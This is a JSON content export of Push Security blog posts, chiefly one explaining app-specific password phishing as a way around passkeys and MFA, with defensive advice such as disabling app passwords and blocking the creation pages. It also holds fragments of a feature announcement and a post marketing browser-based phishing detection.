team.",{"data":32711,"content":32715,"nodeType":921},{"target":32712},{"sys":32713},{"id":32714,"type":918,"linkType":919},"4hRJVGqKGyOHJ8NSsQYWGP",[],{"data":32717,"content":32718,"nodeType":953},{},[32719],{"data":32720,"marks":32721,"value":32722,"nodeType":865},{},[],"Get started today!",{"data":32724,"content":32725,"nodeType":866},{},[32726],{"data":32727,"marks":32728,"value":32729,"nodeType":865},{},[],"Employee verification codes is a Labs feature, which means it’s available on an early-access basis. We're particularly interested in hearing your feedback on how to develop this feature further.",{"data":32731,"content":32732,"nodeType":866},{},[32733,32737,32741,32745,32750],{"data":32734,"marks":32735,"value":32736,"nodeType":865},{},[],"You can enable Labs features by going to the ",{"data":32738,"marks":32739,"value":19623,"nodeType":865},{},[32740],{"type":935},{"data":32742,"marks":32743,"value":32744,"nodeType":865},{},[]," page of the Push admin console and choosing the ",{"data":32746,"marks":32747,"value":32749,"nodeType":865},{},[32748],{"type":935},"Labs",{"data":32751,"marks":32752,"value":32753,"nodeType":865},{},[]," tab.",{"data":32755,"content":32759,"nodeType":921},{"target":32756},{"sys":32757},{"id":32758,"type":918,"linkType":919},"6TyqP2eOmalIF6RRoe476Y",[],{"data":32761,"content":32762,"nodeType":866},{},[32763,32767,32774],{"data":32764,"marks":32765,"value":32766,"nodeType":865},{},[],"If you’d like to find out more about this feature, and the other ways Push is stopping identity attacks in the browser, ",{"data":32768,"content":32769,"nodeType":889},{"uri":1487},[32770],{"data":32771,"marks":32772,"value":6266,"nodeType":865},{},[32773],{"type":1191},{"data":32775,"marks":32776,"value":32777,"nodeType":865},{},[]," with one of our team. ",{"data":32779,"content":32783,"nodeType":921},{"target":32780},{"sys":32781},{"id":32782,"type":918,"linkType":919},"7xBE9MrnMy3hfwIkhLhNhQ",[],{"data":32785,"content":32786,"nodeType":866},{},[32787],{"data":32788,"marks":32789,"value":21,"nodeType":865},{},[],"A simple, browser-based way to protect your help desk against social engineering","Push's new Employee Identity Verification Codes feature is a simple way for your help desk to confirm they’re talking to someone from your organization.\n","2025-06-19T00:00:00.000Z","employee-identity-verification-codes-release",{"items":32795},[32796],{"sys":32797,"name":297},{"id":11028},{"items":32799},[32800],{"fullName":27906,"firstName":27907,"jobTitle":11084,"profilePicture":32801},{"url":27909},{"__typename":1802,"sys":32803,"content":32805,"title":33478,"synopsis":33479,"hashTags":59,"publishedDate":33480,"slug":33481,"tagsCollection":33482,"authorsCollection":33488},{"id":32804},"3c9KMXYa1A9rOg61Kmg7j4",{"json":32806},{"data":32807,"content":32808,"nodeType":1663},{},[32809,32852,32859,32866,32897,32904,32907,32915,32935,32941,32948,32955,32962,32965,32973,32980,33000,33007,33013,33016,33024,33031,33099,33106,33109,33117,33124,33131,33244,33251,33254,33261,33291,33298,33301,33309,33316,33336,33343,33346,33353,33360,33366,33373,33379,33386,33429,33436,33443,33446,33454,33461],{"data":32810,"content":32811,"nodeType":866},{},[32812,32816,32824,32827,32836,32839,32848],{"data":32813,"marks":32814,"value":32815,"nodeType":865},{},[],"App-Specific Passwords (ASPs) are a way for users to access applications that do not support MFA or are otherwise incompatible with a platform’s standard login workflows. They are intended to enable a user to login to “legacy” (typically desktop) applications that do not support modern authentication (e.g. OAuth 2.0). For example, you might use this feature to allow a third-party mail client access to an email account by logging in with your ",{"data":32817,"content":32819,"nodeType":889},{"uri":32818},"https://support.microsoft.com/en-gb/account-billing/how-to-get-and-use-app-passwords-5896ed9b-4263-e681-128a-a6f2979a7944",[32820],{"data":32821,"marks":32822,"value":6523,"nodeType":865},{},[32823],{"type":1191},{"data":32825,"marks":32826,"value":3202,"nodeType":865},{},[],{"data":32828,"content":32830,"nodeType":889},{"uri":32829},"https://support.google.com/accounts/answer/185833?hl=en",[32831],{"data":32832,"marks":32833,"value":32835,"nodeType":865},{},[32834],{"type":1191},"Google",{"data":32837,"marks":32838,"value":3215,"nodeType":865},{},[],{"data":32840,"content":32842,"nodeType":889},{"uri":32841},"https://support.apple.com/en-us/102654",[32843],{"data":32844,"marks":32845,"value":32847,"nodeType":865},{},[32846],{"type":1191},"Apple",{"data":32849,"marks":32850,"value":32851,"nodeType":865},{},[]," account. ",{"data":32853,"content":32854,"nodeType":866},{},[32855],{"data":32856,"marks":32857,"value":32858,"nodeType":865},{},[],"The logic behind this is that it is comparatively more secure than giving your critical IdP password to less secure apps — likely due to the volume of accounts compromised as a result of third-party breaches. It also means that if someone phishes your primary account password that normally has a second factor, that specific password can’t be used without the second factor. ",{"data":32860,"content":32861,"nodeType":866},{},[32862],{"data":32863,"marks":32864,"value":32865,"nodeType":865},{},[],"However, if an ASP is acquired by an attacker, it can be used to login to the target app — circumventing phishing-resistant authentication methods such as passkeys, and bypassing MFA checks. It effectively provides a method of sidestepping your preferred login method. So for example, if you're an organization that uses a passwordless login to access your Google Workspace account and has disabled secondary login methods (the gold standard in terms of secure authentication), an ASP gives attackers a way around this. ",{"data":32867,"content":32868,"nodeType":866},{},[32869,32873,32881,32885,32893],{"data":32870,"marks":32871,"value":32872,"nodeType":865},{},[],"With recent evidence of exploitation in the wild in the form of ",{"data":32874,"content":32875,"nodeType":889},{"uri":31812},[32876],{"data":32877,"marks":32878,"value":32880,"nodeType":865},{},[32879],{"type":1191},"app-specific password phishing",{"data":32882,"marks":32883,"value":32884,"nodeType":865},{},[],", our latest addition to the ",{"data":32886,"content":32887,"nodeType":889},{"uri":2484},[32888],{"data":32889,"marks":32890,"value":32892,"nodeType":865},{},[32891],{"type":1191},"SaaS attacks matrix",{"data":32894,"marks":32895,"value":32896,"nodeType":865},{},[],", it’s important that security teams are aware of this technique, what the risks are, and how to defend against it.  ",{"data":32898,"content":32899,"nodeType":866},{},[32900],{"data":32901,"marks":32902,"value":32903,"nodeType":865},{},[],"Let’s take a quick look at how this actually works before we dive into the malicious use cases. ",{"data":32905,"content":32906,"nodeType":944},{},[],{"data":32908,"content":32909,"nodeType":953},{},[32910],{"data":32911,"marks":32912,"value":32914,"nodeType":865},{},[32913],{"type":935},"ASPs 101",{"data":32916,"content":32917,"nodeType":866},{},[32918,32922,32931],{"data":32919,"marks":32920,"value":32921,"nodeType":865},{},[],"ASPs are pretty straightforward. You log into your chosen account (e.g. Microsoft, Google, or Apple) and navigate to the ASP creation page — in Google’s case ",{"data":32923,"content":32925,"nodeType":889},{"uri":32924},"http://myaccount.google.com/apppasswords",[32926],{"data":32927,"marks":32928,"value":32930,"nodeType":865},{},[32929],{"type":1191},"myaccount.google.com/apppasswords",{"data":32932,"marks":32933,"value":32934,"nodeType":865},{},[],". Then, it’s as simple as typing in a name and hitting the “create” button. ",{"data":32936,"content":32940,"nodeType":921},{"target":32937},{"sys":32938},{"id":32939,"type":918,"linkType":919},"76qanYHiwrSyrkwlYnCuCZ",[],{"data":32942,"content":32943,"nodeType":866},{},[32944],{"data":32945,"marks":32946,"value":32947,"nodeType":865},{},[],"This isn’t actually app-specific in the sense that it’s tied to a specific app at the point of creation, but the idea is that you’d create a unique password for each app you want to log into. ",{"data":32949,"content":32950,"nodeType":866},{},[32951],{"data":32952,"marks":32953,"value":32954,"nodeType":865},{},[],"From this point, you can use the password along with your email address to log into apps normally. It’s important to note that this isn’t available for every app, but is specifically intended for things like third-party email clients. By logging in with an ASP, you are also granting specific permissions to the app. So in the case of Google, you can view, send and delete emails, access contacts, and access the calendar, but you can’t add mail rules, or access other G-Suite apps like Google Drive.   ",{"data":32956,"content":32957,"nodeType":866},{},[32958],{"data":32959,"marks":32960,"value":32961,"nodeType":865},{},[],"It’s important to note that you can’t use this as a substitute for SSO — e.g. you can’t authenticate to a third-party app like Slack using your Google account with an ASP, so the risk is somewhat limited to basic email functionality. That said, email access gives an attacker plenty to work with, and it’s enough to move laterally to other accounts through password and MFA resets — so there’s plenty of scope to expand the blast radius with a little extra legwork.  ",{"data":32963,"content":32964,"nodeType":944},{},[],{"data":32966,"content":32967,"nodeType":953},{},[32968],{"data":32969,"marks":32970,"value":32972,"nodeType":865},{},[32971],{"type":935},"How ASP phishing works",{"data":32974,"content":32975,"nodeType":866},{},[32976],{"data":32977,"marks":32978,"value":32979,"nodeType":865},{},[],"While logging in with an ASP doesn’t grant an attacker full access to the account, there’s still a lot that an attacker can do with access to email, contact, and calendar information. It’s certainly enough to be used in social engineering attacks impersonating the compromised user, as well as generally monitoring email activity. ",{"data":32981,"content":32982,"nodeType":866},{},[32983,32987,32996],{"data":32984,"marks":32985,"value":32986,"nodeType":865},{},[],"An ",{"data":32988,"content":32990,"nodeType":889},{"uri":32989},"https://cloud.google.com/blog/topics/threat-intelligence/creative-phishing-academics-critics-of-russia",[32991],{"data":32992,"marks":32993,"value":32995,"nodeType":865},{},[32994],{"type":1191},"example of this was recently disclosed",{"data":32997,"marks":32998,"value":32999,"nodeType":865},{},[]," where an expert on Russian information operations was targeted with a sophisticated and personalized social engineering attack, where the attacker was able to establish persistent access to the victim’s mailbox using ASPs by logging into a mail client. ",{"data":33001,"content":33002,"nodeType":866},{},[33003],{"data":33004,"marks":33005,"value":33006,"nodeType":865},{},[],"This involved a sophisticated lure impersonating the US Department of State instructing the victim on how to create and share an ASP with the attacker, granting access to their Google mailbox. ",{"data":33008,"content":33012,"nodeType":921},{"target":33009},{"sys":33010},{"id":33011,"type":918,"linkType":919},"Lt93bzQNcEzg2OoCSrgED",[],{"data":33014,"content":33015,"nodeType":944},{},[],{"data":33017,"content":33018,"nodeType":953},{},[33019],{"data":33020,"marks":33021,"value":33023,"nodeType":865},{},[33022],{"type":935},"Benefits and limitations of ASP phishing",{"data":33025,"content":33026,"nodeType":866},{},[33027],{"data":33028,"marks":33029,"value":33030,"nodeType":865},{},[],"This approach has a few advantages over conventional credential phishing:",{"data":33032,"content":33033,"nodeType":2374},{},[33034,33044,33054,33064],{"data":33035,"content":33036,"nodeType":2309},{},[33037],{"data":33038,"content":33039,"nodeType":866},{},[33040],{"data":33041,"marks":33042,"value":33043,"nodeType":865},{},[],"It completely sidesteps otherwise phishing-resistant login methods such as passkeys, and by design does not require MFA. ",{"data":33045,"content":33046,"nodeType":2309},{},[33047],{"data":33048,"content":33049,"nodeType":866},{},[33050],{"data":33051,"marks":33052,"value":33053,"nodeType":865},{},[],"This kind of attack also naturally doesn’t trigger many typical phishing or malware-based detections. As it’s pure social engineering, there is no malicious link, page, or file to analyse. ",{"data":33055,"content":33056,"nodeType":2309},{},[33057],{"data":33058,"content":33059,"nodeType":866},{},[33060],{"data":33061,"marks":33062,"value":33063,"nodeType":865},{},[],"For less technically aware victims, this might present a more effective alternative to traditional credential phishing — awareness training won’t extend to this kind of use case. ",{"data":33065,"content":33066,"nodeType":2309},{},[33067],{"data":33068,"content":33069,"nodeType":866},{},[33070,33074,33083,33087,33096],{"data":33071,"marks":33072,"value":33073,"nodeType":865},{},[],"While generic security alert emails are generated when an app password is created, visibility of actual login events is limited. For example, ",{"data":33075,"content":33077,"nodeType":889},{"uri":33076},"https://issuetracker.google.com/issues/298128558",[33078],{"data":33079,"marks":33080,"value":33082,"nodeType":865},{},[33081],{"type":1191},"Google provides no logs for ASP creation and usage",{"data":33084,"marks":33085,"value":33086,"nodeType":865},{},[],", while ",{"data":33088,"content":33090,"nodeType":889},{"uri":33089},"https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords",[33091],{"data":33092,"marks":33093,"value":33095,"nodeType":865},{},[33094],{"type":1191},"Microsoft provides no on-premises logging or auditing capability",{"data":33097,"marks":33098,"value":27880,"nodeType":865},{},[],{"data":33100,"content":33101,"nodeType":866},{},[33102],{"data":33103,"marks":33104,"value":33105,"nodeType":865},{},[],"However, there are also limitations that will probably see this technique remain a niche choice for attackers. Namely, the complexity of the attack doesn’t necessarily map to the payoff, where it doesn’t result in full account compromise and the permissions/scopes of an ASP login are limited. This means that it lends itself to multi-step attacks, most likely as part of more targeted and stealthy attacks against specific individuals (as seen in the example above). For this reason, attackers are likely to prioritize other methods when they are available. ",{"data":33107,"content":33108,"nodeType":944},{},[],{"data":33110,"content":33111,"nodeType":953},{},[33112],{"data":33113,"marks":33114,"value":33116,"nodeType":865},{},[33115],{"type":935},"Comparing ASPs with other auth bypasses",{"data":33118,"content":33119,"nodeType":866},{},[33120],{"data":33121,"marks":33122,"value":33123,"nodeType":865},{},[],"ASP phishing is part of a growing trend of phishing techniques focused on bypassing conventional authentication. With more organizations investing in phishing-resistant authentication methods like passkeys/WebAuthn and using SSO as standard, attackers are increasingly looking to circumvent the standard login process entirely. ",{"data":33125,"content":33126,"nodeType":866},{},[33127],{"data":33128,"marks":33129,"value":33130,"nodeType":865},{},[],"Similar phishing approaches designed to circumvent an account’s authentication controls include:",{"data":33132,"content":33133,"nodeType":2374},{},[33134,33156,33190,33210],{"data":33135,"content":33136,"nodeType":2309},{},[33137],{"data":33138,"content":33139,"nodeType":866},{},[33140,33144,33152],{"data":33141,"marks":33142,"value":33143,"nodeType":865},{},[],"Phishing for ",{"data":33145,"content":33146,"nodeType":889},{"uri":31800},[33147],{"data":33148,"marks":33149,"value":33151,"nodeType":865},{},[33150],{"type":1191},"API keys",{"data":33153,"marks":33154,"value":33155,"nodeType":865},{},[],", which has the advantage of granting full access to the account, and persisting even if the account password is changed (in contrast, Google resets all ASPs if the account password is changed). ",{"data":33157,"content":33158,"nodeType":2309},{},[33159],{"data":33160,"content":33161,"nodeType":866},{},[33162,33165,33173,33177,33186],{"data":33163,"marks":33164,"value":21,"nodeType":865},{},[],{"data":33166,"content":33167,"nodeType":889},{"uri":22601},[33168],{"data":33169,"marks":33170,"value":33172,"nodeType":865},{},[33171],{"type":1191},"Consent phishing",{"data":33174,"marks":33175,"value":33176,"nodeType":865},{},[],", which sees the victim accept OAuth scopes for an attacker-controlled app integration granting access to the account without needing to directly compromise it. (",{"data":33178,"content":33180,"nodeType":889},{"uri":33179},"https://pushsecurity.com/blog/how-consent-phishing-is-evolving/",[33181],{"data":33182,"marks":33183,"value":33185,"nodeType":865},{},[33184],{"type":1191},"You can read more about recent examples here",{"data":33187,"marks":33188,"value":33189,"nodeType":865},{},[],".) ",{"data":33191,"content":33192,"nodeType":2309},{},[33193],{"data":33194,"content":33195,"nodeType":866},{},[33196,33199,33206],{"data":33197,"marks":33198,"value":21,"nodeType":865},{},[],{"data":33200,"content":33201,"nodeType":889},{"uri":6332},[33202],{"data":33203,"marks":33204,"value":360,"nodeType":865},{},[33205],{"type":1191},{"data":33207,"marks":33208,"value":33209,"nodeType":865},{},[],", functionally very similar to consent phishing but involving the victim entering a code for authorization. ",{"data":33211,"content":33212,"nodeType":2309},{},[33213],{"data":33214,"content":33215,"nodeType":866},{},[33216,33219,33227,33231,33240],{"data":33217,"marks":33218,"value":21,"nodeType":865},{},[],{"data":33220,"content":33221,"nodeType":889},{"uri":31835},[33222],{"data":33223,"marks":33224,"value":33226,"nodeType":865},{},[33225],{"type":1191},"Cross-IdP impersonation",{"data":33228,"marks":33229,"value":33230,"nodeType":865},{},[],", which sees the attacker register a new IdP connected to the victim’s email account that can be used to access connected apps via SSO without directly compromising the primary IdP. (",{"data":33232,"content":33234,"nodeType":889},{"uri":33233},"https://pushsecurity.com/blog/a-new-class-of-phishing-verification-phishing-and-cross-idp-impersonation/",[33235],{"data":33236,"marks":33237,"value":33239,"nodeType":865},{},[33238],{"type":1191},"You can read more about this here",{"data":33241,"marks":33242,"value":33243,"nodeType":865},{},[],".)",{"data":33245,"content":33246,"nodeType":866},{},[33247],{"data":33248,"marks":33249,"value":33250,"nodeType":865},{},[],"Clearly, ASP phishing is part of a much bigger trend in which attackers are moving away from conventional phishing tactics in order to sidestep the authentication process. ",{"data":33252,"content":33253,"nodeType":944},{},[],{"data":33255,"content":33256,"nodeType":953},{},[33257],{"data":33258,"marks":33259,"value":26874,"nodeType":865},{},[33260],{"type":935},{"data":33262,"content":33263,"nodeType":866},{},[33264,33268,33276,33280,33287],{"data":33265,"marks":33266,"value":33267,"nodeType":865},{},[],"There is a common misconception that adopting SSO-based logins, with a locked-down IdP account is an identity security silver bullet. The reality is that identity, authentication, and authorization is a complex and little-understood space. Even with SSO, there are ",{"data":33269,"content":33270,"nodeType":889},{"uri":30192},[33271],{"data":33272,"marks":33273,"value":33275,"nodeType":865},{},[33274],{"type":1191},"ghost logins",{"data":33277,"marks":33278,"value":33279,"nodeType":865},{},[],", backup login and MFA methods susceptible to ",{"data":33281,"content":33282,"nodeType":889},{"uri":28137},[33283],{"data":33284,"marks":33285,"value":26446,"nodeType":865},{},[33286],{"type":1191},{"data":33288,"marks":33289,"value":33290,"nodeType":865},{},[],", and as we’ve seen with ASP phishing and similar techniques, many, many more ways to compromise an identity. ",{"data":33292,"content":33293,"nodeType":866},{},[33294],{"data":33295,"marks":33296,"value":33297,"nodeType":865},{},[],"Security teams need to approach the complexity of identity security with their eyes open to reality. Without a full picture of how your various workforce identities can be accessed by your users, exploitable gaps will inevitably be left for attackers to take advantage of. ",{"data":33299,"content":33300,"nodeType":944},{},[],{"data":33302,"content":33303,"nodeType":953},{},[33304],{"data":33305,"marks":33306,"value":33308,"nodeType":865},{},[33307],{"type":935},"Recommendations",{"data":33310,"content":33311,"nodeType":866},{},[33312],{"data":33313,"marks":33314,"value":33315,"nodeType":865},{},[],"Given the logging challenges relating to ASP creation and use, the best option is to prevent ASPs from being created in the first place. ",{"data":33317,"content":33318,"nodeType":866},{},[33319,33323,33332],{"data":33320,"marks":33321,"value":33322,"nodeType":865},{},[],"By default, users can't create app passwords in Microsoft. The app passwords feature must be enabled before users can use them. To check if this option is turned on, ",{"data":33324,"content":33326,"nodeType":889},{"uri":33325},"https://learn.microsoft.com/en-gb/entra/identity/authentication/howto-mfa-app-passwords",[33327],{"data":33328,"marks":33329,"value":33331,"nodeType":865},{},[33330],{"type":1191},"you can see and toggle the setting in Entra",{"data":33333,"marks":33334,"value":33335,"nodeType":865},{},[]," by browsing to Conditional Access > Named locations > Configure MFA trusted IPs > Multifactor authentication page > Allow users to create app passwords to sign in to non-browser apps option.",{"data":33337,"content":33338,"nodeType":866},{},[33339],{"data":33340,"marks":33341,"value":33342,"nodeType":865},{},[],"Apple and Google ASPs can’t be disabled in the same way… but don’t worry. That’s where Push comes in. ",{"data":33344,"content":33345,"nodeType":944},{},[],{"data":33347,"content":33348,"nodeType":953},{},[33349],{"data":33350,"marks":33351,"value":10582,"nodeType":865},{},[33352],{"type":935},{"data":33354,"content":33355,"nodeType":866},{},[33356],{"data":33357,"marks":33358,"value":33359,"nodeType":865},{},[],"We’re working on adding visibility for ASPs being created, but users of our browser-based security platform can use existing features to prevent ASP phishing. Realistically, there’s no good reason for the average user to be configuring ASPs. So, you can use our URL blocking feature to prevent employees from accessing the pages for ASP creation on relevant apps. ",{"data":33361,"content":33365,"nodeType":921},{"target":33362},{"sys":33363},{"id":33364,"type":918,"linkType":919},"5i0Ou5a27XOt7gxJo9cu0P",[],{"data":33367,"content":33368,"nodeType":866},{},[33369],{"data":33370,"marks":33371,"value":33372,"nodeType":865},{},[],"When a user tries to access the page, they’ll see this message instead and a security alert will be generated. ",{"data":33374,"content":33378,"nodeType":921},{"target":33375},{"sys":33376},{"id":33377,"type":918,"linkType":919},"7nsimiWtv5XOuKkE9wL3A3",[],{"data":33380,"content":33381,"nodeType":866},{},[33382],{"data":33383,"marks":33384,"value":33385,"nodeType":865},{},[],"It is recommended that you block the following URLs for Google and Apple:",{"data":33387,"content":33388,"nodeType":2374},{},[33389,33408],{"data":33390,"content":33391,"nodeType":2309},{},[33392],{"data":33393,"content":33394,"nodeType":866},{},[33395,33398,33405],{"data":33396,"marks":33397,"value":21,"nodeType":865},{},[],{"data":33399,"content":33400,"nodeType":889},{"uri":32924},[33401],{"data":33402,"marks":33403,"value":32930,"nodeType":865},{},[33404],{"type":1191},{"data":33406,"marks":33407,"value":21,"nodeType":865},{},[],{"data":33409,"content":33410,"nodeType":2309},{},[33411],{"data":33412,"content":33413,"nodeType":866},{},[33414,33417,33426],{"data":33415,"marks":33416,"value":21,"nodeType":865},{},[],{"data":33418,"content":33420,"nodeType":889},{"uri":33419},"http://appleid.apple.com/account/manage/security/secondary-password",[33421],{"data":33422,"marks":33423,"value":33425,"nodeType":865},{},[33424],{"type":1191},"appleid.apple.com/account/manage/security/secondary-password",{"data":33427,"marks":33428,"value":21,"nodeType":865},{},[],{"data":33430,"content":33431,"nodeType":866},{},[33432],{"data":33433,"marks":33434,"value":33435,"nodeType":865},{},[],"Unfortunately, there is no specific link to the Microsoft creation page — but as established above, this should not be enabled by default in Microsoft. ",{"data":33437,"content":33438,"nodeType":866},{},[33439],{"data":33440,"marks":33441,"value":33442,"nodeType":865},{},[],"If you encounter any more apps which allow ASPs, you can similarly add the specific ASP creation page to the list of blocked URLs.",{"data":33444,"content":33445,"nodeType":944},{},[],{"data":33447,"content":33448,"nodeType":953},{},[33449],{"data":33450,"marks":33451,"value":33453,"nodeType":865},{},[33452],{"type":935},"Want to learn more about Push?",{"data":33455,"content":33456,"nodeType":866},{},[33457],{"data":33458,"marks":33459,"value":33460,"nodeType":865},{},[],"And that’s not all — Push provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across every app that your employees use, like: ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more. ",{"data":33462,"content":33463,"nodeType":866},{},[33464,33467,33475],{"data":33465,"marks":33466,"value":30729,"nodeType":865},{},[],{"data":33468,"content":33470,"nodeType":889},{"uri":33469},"https://pushsecurity.com/",[33471],{"data":33472,"marks":33473,"value":3223,"nodeType":865},{},[33474],{"type":1191},{"data":33476,"marks":33477,"value":1066,"nodeType":865},{},[],"App-Specific Password phishing: another novel way to get around passkeys and MFA","How App-Specific Password phishing is being used in the wild to bypass phishing-resistant authentication controls like passkeys. ","2025-06-26T00:00:00.000Z","app-specific-password-phishing",{"items":33483},[33484,33486],{"sys":33485,"name":2663},{"id":2662},{"sys":33487,"name":342},{"id":2666},{"items":33489},[33490],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":33491},{"url":2674},{"__typename":1802,"sys":33493,"content":33495,"title":34107,"synopsis":34108,"hashTags":59,"publishedDate":33480,"slug":34109,"tagsCollection":34110,"authorsCollection":34116},{"id":33494},"XQHcBu5kiSBd6MMwICYI4",{"json":33496},{"data":33497,"content":33498,"nodeType":1663},{},[33499,33506,33513,33521,33550,33557,33563,33566,33574,33581,33588,33631,33638,33645,33648,33656,33663,33670,33677,33695,33702,33708,33716,33723,33730,33737,33743,33746,33754,33762,33769,33777,33784,33846,33853,33861,33868,33901,33909,33916,33924,33931,33939,33946,33999,34006,34009,34017,34024,34041,34074,34095,34101],{"data":33500,"content":33501,"nodeType":866},{},[33502],{"data":33503,"marks":33504,"value":33505,"nodeType":865},{},[],"Phishing has undergone a radical transformation. The laughably bad emails and fake PayPal logins of the past have given way to sophisticated campaigns engineered to slip through even the most hardened security stacks. ",{"data":33507,"content":33508,"nodeType":866},{},[33509],{"data":33510,"marks":33511,"value":33512,"nodeType":865},{},[],"Today’s phishing attacks are faster, more adaptable, and harder to catch with traditional tools. Email filters and threat intel still play an important role, but they’re often reacting to threats that are already in motion, and by the time a phishing link is flagged and blocklisted, someone has probably already clicked — and the attacker has moved onto their next set of links.",{"data":33514,"content":33515,"nodeType":866},{},[33516],{"data":33517,"marks":33518,"value":33520,"nodeType":865},{},[33519],{"type":935},"The problem isn’t that phishing has evolved. It’s that our defenses haven’t.",{"data":33522,"content":33523,"nodeType":866},{},[33524,33528,33537,33541,33546],{"data":33525,"marks":33526,"value":33527,"nodeType":865},{},[],"That’s where ",{"data":33529,"content":33531,"nodeType":889},{"uri":33530},"https://pushsecurity.com/uc/zero-day-phishing-protection",[33532],{"data":33533,"marks":33534,"value":33536,"nodeType":865},{},[33535],{"type":1191},"Push Security",{"data":33538,"marks":33539,"value":33540,"nodeType":865},{},[]," comes in. By embedding real-time detection directly into the browser, the very place where phishing attacks unfold, Push offers a fundamentally new way to stop phishing: ",{"data":33542,"marks":33543,"value":33545,"nodeType":865},{},[33544],{"type":965},"as it happens",{"data":33547,"marks":33548,"value":33549,"nodeType":865},{},[],", regardless of whether or not the exact attack has ever been seen before. ",{"data":33551,"content":33552,"nodeType":866},{},[33553],{"data":33554,"marks":33555,"value":33556,"nodeType":865},{},[],"Check out the video to see how it works. ",{"data":33558,"content":33562,"nodeType":921},{"target":33559},{"sys":33560},{"id":33561,"type":918,"linkType":919},"4LaKobadjp19jjocLXcW4E",[],{"data":33564,"content":33565,"nodeType":944},{},[],{"data":33567,"content":33568,"nodeType":953},{},[33569],{"data":33570,"marks":33571,"value":33573,"nodeType":865},{},[33572],{"type":935},"The modern phishing playground",{"data":33575,"content":33576,"nodeType":866},{},[33577],{"data":33578,"marks":33579,"value":33580,"nodeType":865},{},[],"Phishing attacks today look nothing like the blunt instruments of a few years ago. These are fast, customized, and often completely ephemeral. A phishing domain might go live at 9 a.m., compromise scores of credentials, and be gone before lunch, long before it ever hits a threat intel feed.",{"data":33582,"content":33583,"nodeType":866},{},[33584],{"data":33585,"marks":33586,"value":33587,"nodeType":865},{},[],"Modern attackers use:",{"data":33589,"content":33590,"nodeType":2374},{},[33591,33601,33611,33621],{"data":33592,"content":33593,"nodeType":2309},{},[33594],{"data":33595,"content":33596,"nodeType":866},{},[33597],{"data":33598,"marks":33599,"value":33600,"nodeType":865},{},[],"Dynamic content and user-adaptive emails that can be easily changed based on the target’s identity and environment.",{"data":33602,"content":33603,"nodeType":2309},{},[33604],{"data":33605,"content":33606,"nodeType":866},{},[33607],{"data":33608,"marks":33609,"value":33610,"nodeType":865},{},[],"Obfuscated URLs hidden behind trusted services (like Google Sites), making reputation analysis less than reliable.",{"data":33612,"content":33613,"nodeType":2309},{},[33614],{"data":33615,"content":33616,"nodeType":866},{},[33617],{"data":33618,"marks":33619,"value":33620,"nodeType":865},{},[],"Real-time proxying tools to clone login flows and harvest credentials.",{"data":33622,"content":33623,"nodeType":2309},{},[33624],{"data":33625,"content":33626,"nodeType":866},{},[33627],{"data":33628,"marks":33629,"value":33630,"nodeType":865},{},[],"Rapid-fire infrastructure rotation, making the attack’s infrastructure almost impossible to track in time.",{"data":33632,"content":33633,"nodeType":866},{},[33634],{"data":33635,"marks":33636,"value":33637,"nodeType":865},{},[],"These attacks often bypass traditional defenses entirely, not because the tools are broken, but because they were designed for a different era, one where phishing pages lived for days or weeks, not minutes.",{"data":33639,"content":33640,"nodeType":866},{},[33641],{"data":33642,"marks":33643,"value":33644,"nodeType":865},{},[],"It’s not enough to know what was bad yesterday. You need to know what’s happening now.",{"data":33646,"content":33647,"nodeType":944},{},[],{"data":33649,"content":33650,"nodeType":953},{},[33651],{"data":33652,"marks":33653,"value":33655,"nodeType":865},{},[33654],{"type":935},"Why blocklists and perimeter defenses are falling behind",{"data":33657,"content":33658,"nodeType":866},{},[33659],{"data":33660,"marks":33661,"value":33662,"nodeType":865},{},[],"The security ecosystem has long depended on reputation-based systems: block the known bad, allow the rest. That worked when attackers reused infrastructure and relied on mass campaigns. Today’s adversaries have adapted.",{"data":33664,"content":33665,"nodeType":866},{},[33666],{"data":33667,"marks":33668,"value":33669,"nodeType":865},{},[],"Consider a scenario similar to the one from our video:",{"data":33671,"content":33672,"nodeType":866},{},[33673],{"data":33674,"marks":33675,"value":33676,"nodeType":865},{},[],"A staff member receives an email appearing to be from Microsoft Teams. It includes dynamic content that mirrors their actual environment, including their username, company logo, and real collaboration data. The embedded link takes them to a cloned Microsoft login page hosted on a benign-looking subdomain. The site is brand new. It’s not on any blocklist. Your email filter passes it. The employee logs in. Credentials and session tokens? Gone.",{"data":33678,"content":33679,"nodeType":866},{},[33680,33684,33691],{"data":33681,"marks":33682,"value":33683,"nodeType":865},{},[],"And that’s just step one. The attacker now pivots to connected apps like ",{"data":33685,"content":33686,"nodeType":889},{"uri":10482},[33687],{"data":33688,"marks":33689,"value":26832,"nodeType":865},{},[33690],{"type":1191},{"data":33692,"marks":33693,"value":33694,"nodeType":865},{},[],", Confluence, or AWS, moving laterally through your cloud environment using the compromised credentials.",{"data":33696,"content":33697,"nodeType":866},{},[33698],{"data":33699,"marks":33700,"value":33701,"nodeType":865},{},[],"Traditional tools often miss these threats not due to a lack of sophistication, but because they’re looking from the outside in. The browser is where the attack actually unfolds. Without visibility there, key indicators of compromise go undetected.",{"data":33703,"content":33707,"nodeType":921},{"target":33704},{"sys":33705},{"id":33706,"type":918,"linkType":919},"1UGu43QxCiYofkeGtOMp5J",[],{"data":33709,"content":33710,"nodeType":953},{},[33711],{"data":33712,"marks":33713,"value":33715,"nodeType":865},{},[33714],{"type":935},"Rethinking where phishing defense happens",{"data":33717,"content":33718,"nodeType":866},{},[33719],{"data":33720,"marks":33721,"value":33722,"nodeType":865},{},[],"Push changes where phishing protection happens, from upstream detection to point-of-interaction control. Instead of chasing malicious links through email gateways or external threat feeds, Push embeds lightweight, always-on protection directly, as users go about their work in the browser.",{"data":33724,"content":33725,"nodeType":866},{},[33726],{"data":33727,"marks":33728,"value":33729,"nodeType":865},{},[],"Push monitors what’s happening in each session: how pages are built, how they behave, and how users interact with them. That means it can recognize when a login prompt doesn’t match your identity provider or when a script behaves like part of a phishing toolkit.",{"data":33731,"content":33732,"nodeType":866},{},[33733],{"data":33734,"marks":33735,"value":33736,"nodeType":865},{},[],"When Push identifies something suspicious, it takes action right away. Logins are interrupted before any data is exposed. Users get clear guidance in-browser. And security teams receive detailed telemetry that shows exactly what happened, who was targeted, and how the threat was 